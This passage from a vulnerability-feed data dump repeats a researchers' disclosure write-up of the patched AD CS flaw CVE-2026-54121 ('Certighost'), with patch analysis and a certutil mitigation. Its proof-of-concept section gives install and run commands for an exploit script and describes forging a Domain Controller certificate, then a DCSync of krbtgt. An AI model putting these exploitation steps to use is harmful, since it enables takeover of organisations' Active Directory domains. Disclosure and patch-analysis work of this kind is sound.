Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-28T09:22:23.560001Z"}, {"uuid": "b7699960-0d5a-4178-9fa5-0a528c638dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/0xReaper0x/01bb08b94ed869e4a836cfa58658fe42", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-28T12:37:52.573902Z"}, {"uuid": "4f768247-253c-480e-b6d1-17fd04883d6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/0xReaper0x/bbf8619060c3a7e61635bdd83de7a67b", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. 